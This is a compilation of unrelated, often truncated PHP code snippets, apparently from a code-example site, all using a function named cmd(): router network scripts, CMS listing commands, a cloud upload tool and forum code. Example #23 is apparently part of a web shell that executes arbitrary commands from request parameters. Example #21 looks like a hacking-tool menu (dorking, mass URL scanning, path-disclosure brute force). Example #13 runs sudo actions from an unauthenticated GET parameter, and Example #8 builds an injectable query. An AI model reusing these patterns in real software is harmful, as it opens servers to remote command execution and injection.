Example #1
0
 public function testExecute()
 {
     $uniq = uniqid('', true);
     $output = cmd('php ./bin/jbzoo test', array('option' => $uniq));
     isContain($uniq, $output);
     isContain('qwerty', $output);
     isContain('Success', $output);
 }
Example #2
0
function resetlink_get()
{
    global $Security, $DB;
    if (id() && $Security->is_admin(session('id')) && md5(session_id()) == cmd(3)) {
        $DB->query("SELECT email_signup||pass FROM member WHERE id=\$1", array(id()));
        $hash = md5($DB->load_result() . time());
        $DB->update("member", "id", id(), array("reset" => $hash));
        print "http://{$_SERVER['HTTP_HOST']}/member/reset/{$hash}/";
    }
    exit_clean();
}
Example #3
0
function main_entry($uid)
{
    if ($uid == "") {
        return "No Child UID !!";
    }
    /* Check parent is up or not*/
    if (isfile("/var/run/CHILD." . $uid . ".UP") == 1) {
        cmd("service INET." . $uid . " stop");
    } else {
        msg("Child interface already stopped. Do nothing.");
    }
}
Example #4
0
	function exec($args, $stdin, &$stdout, &$stderr, &$system)
	{
		$object = new mObject(getNode($_SESSION['murrix']['path']));
		$links = $object->getLinks();
		
		if ($args == "-l")
		{
			$stdout .= "total ".count($links)."\n";
			if (count($links) > 0)
			{
				$stdout .= "<table cellspacing=\"0\">";
				$stdout .= "<tr class=\"table_title\">";
				$stdout .= "<td>Id</td>";
				$stdout .= "<td>Type</td>";
				$stdout .= "<td>Remote node</td>";
				$stdout .= "<td>Remote node is on...</td>";
				$stdout .= "</tr>";
				foreach ($links as $link)
				{
					if ($link['remote_id'] <= 0)
						$remote = ucf(i18n("unknown"));
					else
					{
						$remote_obj = new mObject($link['remote_id']);
						$remote = cmd(img(geticon($remote_obj->getIcon()))."&nbsp;".$remote_obj->getName(), "exec=show&node_id=".$remote_obj->getNodeId());
					}
	
					$stdout .= "<tr>";
					$stdout .= "<td>".$link['id']."</td>";
					$stdout .= "<td>".$link['type']."</td>";
					$stdout .= "<td>".$remote."</td>";
					$stdout .= "<td>".ucf(i18n($link['direction']))."</td>";
					$stdout .= "</tr>";
				}
				$stdout .= "</table>";
			}
		}
		else
		{
			foreach ($links as $link)
			{
				if ($link['remote_id'] > 0)
				{
					$remote_obj = new mObject($link['remote_id']);
					$stdout .= cmd($remote_obj->getName(), "exec=show&node_id=".$remote_obj->getNodeId())." ";
				}
			}
		}
		
		return true;
	}
Example #5
0
	function exec($args, $stdin, &$stdout, &$stderr, &$system)
	{
		$group = new mGroup();
		$groups = $group->getList();
		
		if ($args == "-l")
		{
			$stdout .= "total ".count($groups)."\n";
			if (count($groups) > 0)
			{
				$stdout .= "<table cellspacing=\"0\">";
				$stdout .= "<tr class=\"table_title\">";
				$stdout .= "<td>Id</td>";
				$stdout .= "<td>Name</td>";
				$stdout .= "<td>Home</td>";
				$stdout .= "<td>Created</td>";
				$stdout .= "<td>Description</td>";
				$stdout .= "</tr>";
				foreach ($groups as $group)
				{
					$stdout .= "<tr>";
					$stdout .= "<td>".$group->id."</td>";
					$stdout .= "<td>".$group->name."</td>";
					
					if ($group->home_id > 0)
					{
						$home = new mObject($group->home_id);
						$stdout .= "<td>".cmd($home->getPath(), "exec=show&node_id=".$home->getNodeId())."</td>";
					}
					else
						$stdout .= "<td></td>";
					
					$stdout .= "<td>".$group->created."</td>";
					$stdout .= "<td>".$group->description."</td>";
					$stdout .= "</tr>";
				}
				$stdout .= "</table>";
			}
		}
		else
		{
			foreach ($groups as $group)
				$stdout .= $group->name." ";
		}
		
		return true;
	}
Example #6
0
	function exec($args, $stdin, &$stdout, &$stderr, &$system)
	{
		$object = new mObject(getNode($_SESSION['murrix']['path']));
		$children = fetch("FETCH node WHERE link:node_top='".$object->getNodeId()."' AND link:type='sub' NODESORTBY property:version SORTBY ".$object->getMeta("sort_by", "property:name"));
		
		if ($args == "-l")
		{
			$stdout .= "total ".count($children)."\n";
			if (count($children) > 0)
			{
				$stdout .= "<table cellspacing=\"0\">";
				$stdout .= "<tr class=\"table_title\">";
				$stdout .= "<td>Id</td>";
				$stdout .= "<td>Rev.</td>";
				$stdout .= "<td>Lang.</td>";
				$stdout .= "<td>Class</td>";
				$stdout .= "<td>Rights</td>";
				$stdout .= "<td>User</td>";
				$stdout .= "<td>Time</td>";
				$stdout .= "<td>Name</td>";
				$stdout .= "</tr>";
				foreach ($children as $child)
				{
					$user = $child->getUser();
					
					$stdout .= "<tr>";
					$stdout .= "<td>".$child->getNodeId()."</td>";
					$stdout .= "<td>".$child->getVersion()."</td>";
					$stdout .= "<td>".$child->getLanguage()."</td>";
					$stdout .= "<td>".$child->getClassName()."</td>";
					$stdout .= "<td>".$child->getRights()."</td>";
					$stdout .= "<td>".$user->username."</td>";
					$stdout .= "<td>".$child->getCreated()."</td>";
					$stdout .= "<td>".cmd(img(geticon($child->getIcon(), 16))."&nbsp;".$child->getName(), "exec=show&node_id=".$child->getNodeId())."</td>";
					$stdout .= "</tr>";
				}
				$stdout .= "</table>";
			}
		}
		else
		{
			foreach ($children as $child)
				$stdout .= $child->getName()." ";
		}
		
		return true;
	}
Example #7
0
function main_entry($inf, $devnam, $ipaddr, $prefix)
{
    $ipv6enable = fread("e", "/proc/sys/net/ipv6/conf/" . $devnam . "/disable_ipv6");
    if ($ipv6enable == "0") {
        msg("Set ULA ... ");
        /* Start script */
        cmd("phpsh /etc/scripts/IPV6.INET.php ACTION=ATTACH" . " MODE=UL" . " INF=" . $inf . " DEVNAM=" . $devnam . " IPADDR=" . $ipaddr . " PREFIX=" . $prefix);
    } else {
        /* Generate wait script. */
        $enula = "/var/servd/INET." . $inf . "-enula.sh";
        fwrite(w, $enula, "#!/bin/sh\n" . "phpsh /etc/scripts/ENULA.php" . " INF=" . $inf . " DEVNAM=" . $devnam . " IPADDR=" . $ipaddr . " PREFIX=" . $prefix . "\n");
        /* Start script ... */
        cmd("chmod +x " . $enula);
        cmd('xmldbc -t "enula.' . $inf . ':5:' . $enula . '"');
    }
    return 0;
}
Example #8
0
	function exec($args, $stdin, &$stdout, &$stderr, &$system)
	{
		$args = str_replace("*", "%", $args);
		
		$children = fetch("FETCH node WHERE property:name LIKE '%$args%' NODESORTBY property:version SORTBY property:name");
		$children = getReadable($children);
		
		$stdout .= "total ".count($children)."\n";
		if (count($children) > 0)
		{
			$stdout .= "<table cellspacing=\"0\">";
			$stdout .= "<tr class=\"table_title\">";
			$stdout .= "<td>Id</td>";
			$stdout .= "<td>Rev.</td>";
			$stdout .= "<td>Lang.</td>";
			$stdout .= "<td>Class</td>";
			$stdout .= "<td>Rights</td>";
			$stdout .= "<td>User</td>";
			$stdout .= "<td>Group</td>";
			$stdout .= "<td>Time</td>";
			$stdout .= "<td>Name</td>";
			$stdout .= "</tr>";
			foreach ($children as $child)
			{
				$user = $child->getUser();
				$group = $child->getGroup();
				
				$stdout .= "<tr>";
				$stdout .= "<td>".$child->getNodeId()."</td>";
				$stdout .= "<td>".$child->getVersion()."</td>";
				$stdout .= "<td>".$child->getLanguage()."</td>";
				$stdout .= "<td>".$child->getClassName()."</td>";
				$stdout .= "<td>".$child->getRights()."</td>";
				$stdout .= "<td>".$user->username."</td>";
				$stdout .= "<td>".$group->name."</td>";
				$stdout .= "<td>".$child->getCreated()."</td>";
				$stdout .= "<td>".cmd(img(geticon($child->getIcon(), 16))."&nbsp;".$child->getName(), "exec=show&node_id=".$child->getNodeId())."</td>";
				$stdout .= "</tr>";
			}
			$stdout .= "</table>";
		}
		return true;
	}
function createHost($dev)
{
    global $community;
    global $hosttemplate;
    print "================== Creating DSLAM for {$dev} =======================\n";
    $ret = cmd("/usr/bin/php add_device.php --quiet --description='" . $dev . "' --ip='{$dev}.{$localdomain} --template={$hosttemplate} --community='" . $community . "' --avail=snmp");
    //Get host id from: [RET] Success - new device-id: (20)
    if (preg_match("/\\((\\d+)\\)/", $ret, $matches)) {
        $deviceID = $matches[1];
        print "Device ID: {$deviceID} \n";
        //We got a device - create graphs for device
        $ret = cmd("/usr/bin/php add_graphs.php --graph-type=ds --graph-template-id='31' --host-id=" . $deviceID . " --snmp-query-id={$snmpqueryid} --snmp-query-type-id={$snmpquerytype} --snmp-field=ifDescr --snmp-value='Ethernet\n Interface'");
        //RET: Graph Added - graph-id: (34) - data-source-ids: (37, 37)
        if (preg_match("/\\((\\d+)\\)/", $ret, $matches)) {
            $graphID = $matches[1];
            //We got a graph - add it to default tree
            #                       cmd("/usr/bin/php /cacti/appl/cacti/cli/add_tree.php  --type=node  --node-type=graph --tree-id=1 --graph-id=".$graphID);
        }
    }
}
Example #10
0
	function exec($args, $stdin, &$stdout, &$stderr, &$system)
	{
		$object = new mObject(getNode($_SESSION['murrix']['path']));

		$user = $object->getUser();
			
		$stdout .= "<table cellspacing=\"0\">";
		$stdout .= "<tr><td class=\"titlename\">Name</td><td>".cmd($object->getName(), "exec=show'&node_id=".$object->getNodeId())."</td></tr>";
		$stdout .= "<tr><td class=\"titlename\">Icon</td><td>".img(geticon($object->getIcon(), 16))."</td></tr>";
		$stdout .= "<tr><td class=\"titlename\">Id</td><td>".$object->getNodeId()."</td></tr>";
		$stdout .= "<tr><td class=\"titlename\">Revision</td><td>".$object->getVersion()."</td></tr>";
		$stdout .= "<tr><td class=\"titlename\">Language</td><td>".$object->getLanguage()."</td></tr>";
		$stdout .= "<tr><td class=\"titlename\">Class</td><td>".$object->getClassName()."</td></tr>";
		$stdout .= "<tr><td class=\"titlename\">Rights</td><td>".$object->getRights()."</td></tr>";
		$stdout .= "<tr><td class=\"titlename\">User</td><td>".$user->username."</td></tr>";
		$stdout .= "<tr><td class=\"titlename\">Time</td><td>".$object->getCreated()."</td></tr>";
		$stdout .= "</table>";
		
		return true;
	}
Example #11
0
function thread_post_get()
{
    global $DB;
    $Search = new Search();
    $offset = cmd(3, true) ? cmd(3, true) * 100 : 0;
    $res = $Search->query(cmd(2), "thread_post", $offset);
    $ids = array_keys($res['matches']);
    $page = cmd(3, true) + 1;
    $Query = new BoardQuery();
    $View = new BoardView();
    $View->type(VIEW_THREAD_SEARCH);
    $View->title("Search Thread Posts: " . htmlentities(cmd(2)));
    $View->subtitle(number_format($res['total']) . " results found showing " . ($offset ? $offset : 1) . "-" . ($offset + 100) . SPACE . ARROW_RIGHT . SPACE . "page: {$page}");
    $View->header(false);
    require_once DIR . "module/search/.content/main.php";
    $View->header_menu();
    if ($res['total'] == 0) {
        $ids = array(0);
    }
    $DB->query($Query->view_thread(false, cmd(3, true), cmd(4, true), $ids));
    $View->data($DB->load_all());
    $View->thread();
    $View->footer();
}
Example #12
0
<?
$args_title = array();
$args_title['left'] = img(geticon("comment"))."&nbsp;".ucf(i18n("comments"));
if ($object->hasRight("create") || $object->hasRight("comment"))
	$args_title['right'] = cmd(img(geticon("comment"))."&nbsp;".ucf(i18n("post")), "exec=new&node_id=".$object->getNodeId()."&class_name=comment");

echo compiletpl("title/medium", $args_title, $object);

$pagername = "comments_show";
$children = fetch("FETCH node WHERE link:node_top='".$object->getNodeId()."' AND link:type='sub' AND property:class_name='comment' NODESORTBY property:version SORTBY !property:created");

$children = getReadable($children);

if (count($children) > 0)
{
	include(gettpl("pager/start", $object));

	for ($i = $start; $i < $end; $i++)
		echo compiletpl("scripts/show/line", array(), $children[$i]);

	include(gettpl("pager/end", $object));
}
?>
Example #13
0
<?php 
function cmd($command)
{
    exec($command, $output);
    return $output;
}
$action = !empty($_GET['action']) ? $_GET['action'] : null;
switch ($action) {
    case 'start':
        $result = cmd('sudo /etc/init.d/botty start');
        break;
    case 'stop':
        $result = cmd('sudo /etc/init.d/botty stop');
        break;
    case 'restart':
        $result = cmd('sudo /etc/init.d/botty restart');
        break;
    default:
        $result = null;
}
?>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="I am in each channel on slack, even if you do not see me. Talk to me by start a message with @T3Bot or with the command prefix.">
    <meta name="author" content="Frank Nägler">
    <link rel="apple-touch-icon" sizes="57x57" href="/Resources/Public/Assets/apple-touch-icon-57x57.png">
    <link rel="apple-touch-icon" sizes="114x114" href="/Resources/Public/Assets/apple-touch-icon-114x114.png">
    <link rel="apple-touch-icon" sizes="72x72" href="/Resources/Public/Assets/apple-touch-icon-72x72.png">
Example #14
0
function super_file($access_token, $path, $localfile, $ondup = 'newcopy', $sbyte = 1073741824, $temp_dir = '/tmp/')
{
    //调用split命令进行切割
    //split -b200 --verbose rubygems-1.8.25.zip rg/rg1
    if (filesize($localfile) <= $sbyte) {
        echon('The file isn\'t big enough to split up. Proceed to upload normally.');
        upload_file($access_token, $path, $localfile, $ondup);
        //直接上传
    }
    $tempfdir = rtrim($temp_dir, '/') . '/' . uniqid('bpcs_to_upload_');
    if (!mkdir($tempfdir, 0700, true)) {
        echon('Cannot create temp dir:' . $tempfdir);
        die(9009);
    }
    $splitcmd = "split -b{$sbyte} {$localfile} {$tempfdir}/bpcs_toupload_";
    $splitresult = cmd($splitcmd);
    if (trim($splitresult)) {
        echon('Split exited with message:' . $splitresult);
    }
    //遍历临时文件目录
    $tempfiles = glob($tempfdir . '/bpcs_toupload_*');
    if (count($tempfiles) < 1) {
        //没有生成文件
        echon('There are no files to be upload.');
        die(9010);
    } elseif (count($tempfiles) == 1) {
        //只有一个文件
        unlink($tempfiles[0]);
        //删除它
        echon('The file isn\'t big enough to split up. Proceed to upload normally.');
        upload_file($access_token, $path, $localfile, $ondup);
        //直接上传
        return;
    }
    //开始上传进程
    $block_list = array();
    $count = 0;
    foreach ($tempfiles as $tempfile) {
        //上传临时文件,上传API与上传普通文件无异,只是多一个参数type=tmpfile,取消了其它几个参数。此处将“&type=tmpfile”作为ondup传递,将参数带在请求尾部。
        echon('Uploading file in pieces, ' . ($count + 1) . ' out of ' . count($tempfiles) . ' parts... ');
        $count++;
        $upload_res = upload_file($access_token, '', $tempfile, $ondup . '&type=tmpfile');
        $block_list[] = $upload_res['md5'];
        //删除临时文件
        unlink($tempfile);
    }
    //删除临时文件夹
    rmdir($tempfdir);
    //准备提交API
    $block_list = json_encode($block_list);
    $param = '{"block_list":' . $block_list . '}';
    $param = 'param=' . urlencode($param);
    $path = getpath($path);
    $url = "https://pcs.baidu.com/rest/2.0/file?method=createsuperfile&path={$path}&access_token={$access_token}";
    $res = do_api($url, $param);
}
Example #15
0
<?php

global $Style;
global $Core;
if (cmd(2)) {
    $theme_member_id = $Core->idfromname(cmd(2));
    if ($theme_member_id) {
        $theme = $Core->member_pref($theme_member_id, "theme");
        if ($theme) {
            $Style->set_theme($theme);
        } else {
            $Style->load_default();
        }
    }
} else {
    if (get('theme')) {
        if ($theme = $DB->value("SELECT value FROM theme WHERE name=\$1", array(get('theme')))) {
            $Style->set_theme($theme);
        }
    }
}
$theme = unserialize($Style->theme);
foreach ($theme as $type => $val) {
    if (substr($val, 0, 1) == "#") {
        $theme[$type] = substr($val, 1);
    }
}
$fontsizes = array("1" => "10pt", "1.1" => "11pt", "1.2" => "12pt", "1.3" => "13pt", "1.4" => "14pt");
?>
<!--
Copyright (c) 2007 John Dyer (http://johndyer.name)
Example #16
0
function main_entry($inf, $phyinf, $devnam, $dhcpopt, $dns, $me)
{
    /* generate callback script */
    $pid = "/var/servd/" . $inf . "-rdisc6.pid";
    $hlp = "/var/servd/" . $inf . "-rdisc6.sh";
    fwrite(w, $hlp, "#!/bin/sh\n" . "echo [\$0]: [{$IFNAME}] [{$MFLAG}] [{$OFLAG}] > /dev/console\n" . "phpsh /etc/services/INET/inet6_rdisc6_helper.php" . ' "IFNAME=$IFNAME"' . ' "MFLAG=$MFLAG"' . ' "OFLAG=$OFLAG"' . ' "PREFIX=$PREFIX"' . ' "PFXLEN=$PFXLEN"' . ' "LLADDR=$LLADDR"' . ' "RDNSS=$RDNSS"' . ' "DNSSL=$DNSSL"' . "\n");
    cmd("chmod +x " . $hlp);
    /* run rdisc */
    //cmd("killall rdisc6");
    //cmd("sleep 1");
    /* INF status path. */
    $stsp = XNODE_getpathbytarget("/runtime", "inf", "uid", $inf, 0);
    if ($stsp == "") {
        return error($inf . " has not runtime nodes !");
    }
    /* need infprev */
    $infprev = query($stsp . "/infprevious");
    if ($infprev != "") {
        $prevstsp = XNODE_getpathbytarget("/runtime", "inf", "uid", $infprev, 0);
        $prevdevnam = query($prevstsp . "/devnam");
        $prevphyinf = query($prevstsp . "/phyinf");
    }
    /* check if interface if ppp */
    if (strstr($prevdevnam, "ppp") == "") {
        if (strstr($prevdevnam, "sit") == "") {
            cmd("rdisc6 -c " . $hlp . " -p " . $pid . " -q " . $devnam . " &");
        } else {
            msg("SIT-Autoconf mode");
            /* auto in sit mode */
            $p = XNODE_getpathbytarget("/runtime", "phyinf", "uid", $prevphyinf, 0);
            if ($p != "") {
                $ipaddr = query($p . "/ipv6/link/ipaddr");
            } else {
                return error("SIT tunnel need exist!! ");
            }
            msg("ipaddr: " . $ipaddr . " and devnam: " . $prevdevnam);
            cmd("rdisc6 -c " . $hlp . " -p " . $pid . " -q -e " . $ipaddr . " " . $prevdevnam . " &");
        }
    } else {
        msg("PPP-Autoconf mode");
        /* need infprev */
        $infprev = query($stsp . "/infprevious");
        $prevstsp = XNODE_getpathbytarget("/runtime", "inf", "uid", $infprev, 0);
        /* need infprev */
        $atype = query($prevstsp . "/inet/addrtype");
        if ($atype == "ipv6") {
            $ipaddr = query($prevstsp . "/inet/ipv6/ipaddr");
        } else {
            if ($atype == "ppp6") {
                $ipaddr = query($prevstsp . "/inet/ppp6/local");
            } else {
                return error($inf . " has wrong addrtype of infprevious");
            }
        }
        cmd("rdisc6 -c " . $hlp . " -p " . $pid . " -q -e " . $ipaddr . " " . $prevdevnam . " &");
    }
    cmd("sleep 5");
    /* Clear any old records. */
    del($stsp . "/stateless");
    /* Preparing & Get M flag */
    $child = query($stsp . "/child/uid");
    if (strstr($prevdevnam, "ppp") == "") {
        $conf = "/var/run/" . $devnam;
    } else {
        $conf = "/var/run/" . $prevdevnam;
    }
    $mflag = fread("e", $conf . ".ra_mflag");
    $oflag = fread("e", $conf . ".ra_oflag");
    $rdnss = fread("e", $conf . ".ra_rdnss");
    $dnssl = fread("e", $conf . ".ra_dnssl");
    /* need infnext */
    $infnext = query($stsp . "/infnext");
    if ($infnext != "") {
        XNODE_set_var($inf . "_NEXTINF", $infnext);
    }
    /* need dnssl info */
    if ($dnssl != "") {
        msg("DNSSL :" . $dnssl);
        XNODE_set_var($child . "_DOMAIN", $dnssl);
    }
    if (strstr($prevdevnam, "ppp") == "") {
        msg($inf . "/" . $devnam . ", M=[" . $mflag . "], O=[" . $oflag . "]");
    } else {
        msg($inf . "/" . $prevdevnam . ", M=[" . $mflag . "], O=[" . $oflag . "]");
    }
    /* according to TR-124 issue 2 */
    /* Ignore m and o flags, always start dhcp client */
    /* generate wait script */
    $ipwait = "/var/servd/INET." . $inf . "-ipwait.sh";
    fwrite(w, $ipwait, "#!/bin/sh\n" . "phpsh /etc/scripts/IP-WAIT.php" . " INF=" . $inf . " PHYINF=" . $phyinf . " DEVNAM=" . $devnam . ' "DNS=' . $dns . '"' . " ME=" . $ipwait . "\n");
    /* start script */
    cmd("chmod +x " . $ipwait);
    cmd('xmldbc -t "ra.iptest.' . $inf . ':10:' . $ipwait . '"');
    if ($child != "") {
        /* always need dhcp client */
        $dhcpopt = "IA-NA+IA-PD";
        if (strstr($prevdevnam, "ppp") == "") {
            dhcp_client("STATEFUL", $inf, $devnam, $dhcpopt, $router, $dns);
        } else {
            XNODE_set_var($inf . "_PREVINF", $infprev);
            dhcp_client("PPPDHCP", $inf, $devnam, $dhcpopt, $router, $dns);
        }
        return 0;
    } else {
        $dhcpopt = "IA-NA";
        if (strstr($prevdevnam, "ppp") == "") {
            dhcp_client("STATEFUL", $inf, $devnam, $dhcpopt, $router, $dns);
        } else {
            XNODE_set_var($inf . "_PREVINF", $infprev);
            dhcp_client("PPPDHCP", $inf, $devnam, $dhcpopt, $router, $dns);
        }
        return 0;
    }
    //not reach here
    if ($mflag == "1") {
        /* Stateful ... */
        if ($dhcpopt == "") {
            if ($child == "") {
                $dhcpopt = "IA-NA";
            } else {
                $dhcpopt = "IA-NA+IA-PD";
            }
        }
        //dhcp_client("STATEFUL", $inf, $devnam, $dhcpopt, $router, $dns);
        if (strstr($prevdevnam, "ppp") == "") {
            dhcp_client("STATEFUL", $inf, $devnam, $dhcpopt, $router, $dns);
        } else {
            XNODE_set_var($inf . "_PREVINF", $infprev);
            dhcp_client("PPPDHCP", $inf, $devnam, $dhcpopt, $router, $dns);
        }
        return 0;
    } else {
        if ($mflag == "0") {
            /* Stateless */
            $p = XNODE_getpathbytarget("/runtime", "phyinf", "uid", $phyinf, 0);
            if ($p == "") {
                return error($phyinf . " has not runtime nodes!");
            }
            /* Get self-configured IP address. */
            /*$ipaddr = query($p."/ipv6/global/ipaddr");*/
            /*$prefix = query($p."/ipv6/global/prefix");*/
            $mac = PHYINF_getphymac($inf);
            $hostid = ipv6eui64($mac);
            $ra_prefix = fread("e", $conf . ".ra_prefix");
            $prefix = fread("e", $conf . ".ra_prefix_len");
            $ipaddr = ipv6ip($ra_prefix, $prefix, $hostid, 0, 0);
            $router = fread("e", $conf . ".ra_saddr");
            if (strstr($prevdevnam, "ppp") != "") {
                $p = XNODE_getpathbytarget("/runtime", "phyinf", "uid", $prevphyinf, 0);
                $llipaddr = query($p . "/ipv6/link/ipaddr");
                $hostid = ipv6hostid($llipaddr, 64);
                $ipaddr = ipv6ip($ra_prefix, $prefix, $hostid, 0, 0);
            }
            if ($ipaddr != "") {
                if ($oflag == "0" && $dns == "" && $rdnss != "") {
                    $dns = $rdnss;
                }
                msg("Stateless Self-Config IP: " . $ipaddr . "/" . $prefix);
                //$router	= fread("e", $conf."/ra_saddr");
                if ($child != "") {
                    set($stsp . "/stateless/ipaddr", $ipaddr);
                    set($stsp . "/stateless/prefix", $prefix);
                    //set($stsp."/stateless/gateway",	$router);
                    setattr($stsp . "/stateless/gateway", "get", "ip -6 route show default | scut -p via");
                    set($stsp . "/stateless/dns", $dns);
                    if ($dnssl != "") {
                        set($stsp . "/stateless/domain", $dnssl);
                    }
                    /* run dhcpc6 for the child interface, and attach at the callback of dhcpc. */
                    //dhcp_client("STATELESS", $inf, $devnam, "IA-PD", $router, $dns);
                    if (strstr($prevdevnam, "ppp") == "") {
                        dhcp_client("STATELESS", $inf, $devnam, "IA-PD", $router, $dns);
                    } else {
                        XNODE_set_var($inf . "_PREVINF", $infprev);
                        dhcp_client("PPPDHCP", $inf, $devnam, "IA-PD", $router, $dns);
                    }
                } else {
                    cmd("phpsh /etc/scripts/IPV6.INET.php ACTION=ATTACH" . " MODE=STATELESS" . " INF=" . $inf . " DEVNAM=" . $devnam . " IPADDR=" . $ipaddr . " PREFIX=" . $prefix . " GATEWAY=" . $router . ' "DNS=' . $dns . '"');
                    if ($oflag == "1" && $dns == "") {
                        msg("STATELESS DHCP: information only.");
                        dhcp_client("INFOONLY", $inf, $devnam, "", "", "");
                    }
                }
                return 0;
            }
        }
    }
    //cmd("killall rdisc6");
    cmd("/etc/scripts/killpid.sh " . $pid);
    cmd("sleep 1");
    /* Not configured, try later. */
    cmd('xmldbc -t "ra.iptest.' . $inf . ':5:' . $me . '"');
    /* force to send RS */
    //$conf = "/proc/sys/net/ipv6/conf/".$_GLOBALS["DEVNAM"];
    //fwrite(w, $conf."/disable_ipv6",  "1");
    //fwrite(w, $conf."/disable_ipv6",  "0");
    return 0;
}
<?
for ($i = $args['start']; $i < $args['end']; $i++)
{
	$object = $args['objects'][$i];
	?>
	<div class="sub_title">
		<a class="right" href="javascript:void(null)" onclick="toggleSidebarContainer('<?php 
echo $object->getNodeId();
?>
')"><?php 
echo img(imgpath("1downarrow.png"), "", "", $object->getNodeId() . "_arrow");
?>
</a>
		<?php 
echo cmd(img(getIcon($object->getIcon())) . "&nbsp;" . $object->getName(), "exec=show&node_id=" . $object->getNodeId());
?>
		<div class="clear"></div>
	</div>
	<div id="<?php 
echo $object->getNodeId();
?>
_container">
		<?php 
echo compiletpl("scripts/show/data", array(), $object);
?>
		<?php 
echo compiletpl("scripts/show/children", array(), $object);
?>
	</div>
<?
}
Example #18
0
     if (count($argv) < 3) {
         echon("Missing parameters. Please check again.");
         die;
     }
     $res = upload_file($access_token, $argv[3], $argv[2], isset($argv[4]) ? $argv[4] : 'newcopy');
     echon(sprintf("File %s uploaded.\nSize:%.3fK MD5 Sum:%s", $res['path'], $res['size'] / 1024, $res['md5']));
     break;
 case 'download':
     //download - 下载文件
     if (count($argv) < 3) {
         echon("Missing parameters. Please check again.");
         die;
     }
     $path = '/apps/' . urlencode(file_get_contents(CONFIG_DIR . '/appname') . '/' . $argv[3]);
     $cmd = 'wget -c --no-check-certificate -O "' . $argv[2] . '" "https://d.pcs.baidu.com/rest/2.0/pcs/file?method=download&access_token=' . $access_token . '&path=' . $path . '"';
     cmd($cmd);
     break;
 case 'delete':
     //delete - 删除文件
     if (count($argv) < 2) {
         echon("Missing parameters. Please check again.");
         die;
     }
     delete_file($access_token, $argv[2]);
     echon('File deleted.');
     break;
 case 'fetch':
     //fetch - 离线下载
     //好像需要一定的权限,无法使用。
     if (count($argv) < 3) {
         echon("Missing parameters. Please check again.");
Example #19
0
function do_api($url, $param, $method = 'POST')
{
    if ($method == 'POST') {
        $cmd = "curl -X POST -k -L --data \"{$param}\" \"{$url}\"";
    } else {
        $cmd = "curl -X {$method} -k -L \"{$url}?{$param}\"";
    }
    return cmd($cmd);
}
Example #20
0
echo $args['default_path'];
?>
" type="text"><br/>
	<br/><br/>
	
	Transport<br/>
	<select class="selectbox" name="transport">
		<option <?php 
echo "standard" == $args['transport'] ? "selected" : "";
?>
 value="standard">Standard</option>
		<option <?php 
echo "ajax" == $args['transport'] ? "selected" : "";
?>
 value="ajax">Ajax</option>
	</select>
	<br/><br/>
	
	Administrator password<br/>
	<input class="textline" name="password" value="<?php 
echo $args['password'];
?>
" type="password"><br/>
</form>

<center>
<?
	echo cmd(img(imgpath("left.png")), "exec=install&action=database");
	echo runjs(img(imgpath("right.png")), "Post('install','sInstall')");
?>
</center>
Example #21
0
while (1 == 1) {
    print "\n\n >> ";
    $handle = fopen("php://stdin", "r");
    $line = fgets($handle);
    if (trim($line) == 'exit') {
        echo "Aborting!\n";
        exit;
    }
    if (trim($line) == 'help') {
        options();
    }
    if (trim($line) == 'dork') {
        dork();
    }
    if (trim($line) == 'cmd') {
        cmd();
    }
    if (trim($line) == 'massurl') {
        massurl();
    }
    if (trim($line) == 'brutefpds') {
        brutefpds();
    }
    if (trim($line) == 'clear') {
        clear();
    }
    if (trim($line) == 'stat') {
        stats();
    }
    if (trim($line) == 'show') {
        show();
Example #22
0
		echo "$path";
		
		if (count($subitems) > 0)
		{
			$itemlist = array();
			$itemlist[] = array(ucf(i18n("name")));
			
			if (!empty($path) && $path != "/")
				$itemlist[] = array(cmd(img(geticon("back"))."&nbsp;".ucf(i18n("parent folder")), "exec=import&view=upload&node_id=".$object->getNodeId()."&path=".urlencode(GetParentPath($path)."/")));
			
			foreach ($subitems as $subitem)
			{
				$checkbox = "<input checked class=\"input\" type=\"checkbox\" name=\"filenames[]\" value=\"$subitem\"/>";
			
				if (is_dir("$abspath/upload/$path$subitem"))
					$itemlist[] = array("$checkbox&nbsp;".cmd(img(geticon("file_folder"))."&nbsp;".$subitem, "exec=import&view=upload&node_id=".$object->getNodeId()."&path=".urlencode("$path$subitem/")));
				else
				{
					$type = getfiletype(pathinfo("$abspath/upload/$path$subitem", PATHINFO_EXTENSION));
					$itemlist[] = array("$checkbox&nbsp;".img(geticon($type))."&nbsp;".$subitem);
				}
			}
			
			echo compiletpl("table", array("list"=>$itemlist, "endstring"=>"% ".i18n("rows")));
			?>
			<input class="submit" type="button" onclick="checkUncheckAll(this)" value="<?php 
echo ucf(i18n("invert selection"));
?>
"/>
			<input class="submit" id="submitButton" type="submit" value="<?php 
echo ucf(i18n("import"));
Example #23
0
    $file = $chdir . $_GET['file'];
    $copy = $_GET['fcopy'];
    if (@copy("{$file}", "{$copy}")) {
        $msg = "<font color=\"#000080\">{$file}</font>,&nbsp;<font color=\"#008000\">copied for</font> <font color=\"#000080\">{$copy}</font> <font color=\"#008000\">successfully!</font>";
    } else {
        $msg = "<font color=\"#FF0000\">Error&nbsp;when&nbsp;copying</font>&nbsp;<font color=\"#000000\">{$file}</font>&nbsp;<font color=\"#FF0000\">for</font>&nbsp;<font color=\"#000000\">{$copy}</font></font>";
    }
} elseif (@$_GET['action'] == 'cmd') {
    if (!empty($_GET['cmd'])) {
        $cmd = @$_GET['cmd'];
    }
    if (!empty($_POST['cmd'])) {
        $cmd = @$_POST['cmd'];
    }
    $cmd = stripslashes(trim($cmd));
    $result_arr = cmd($cmd);
    $afim = count($result_arr);
    $acom = 0;
    $msg = '';
    $msg .= "<p style=\"color: #000000;text-align: center;font-family: 'Lucida Console';font-size: 12px;margin 2\">Results:&nbsp;<b>" . $cmd . "</b></p>";
    if ($result_arr) {
        while ($acom <= $afim) {
            $msg .= "<p style=\"color: #008000;text-align: left;font-family: 'Lucida Console';font-size: 12px;margin 2\">&nbsp;" . @$result_arr[$acom] . "</p>";
            $acom++;
        }
    } else {
        $msg .= "<p style=\"color: #FF0000;text-align: center;font-family: 'Lucida Console';font-size: 12px;margin 2\">Erro ao executar comando.</p>";
    }
} elseif (@$_GET['action'] == 'safemode') {
    if (@(!extension_loaded('shmop'))) {
        echo "Loading... module</br>";
Example #24
0
	
	if ($thumbnail !== false)
		$data = $thumbnail->Show(true);
}

if (!empty($data))
	$img = $data;
else
	$img = img(geticon($type, 128));

$name = $object->getName();

if ($args['disabled'] != true)
{
	$name = cmd($name, "exec=show&node_id=".$object->getNodeId());
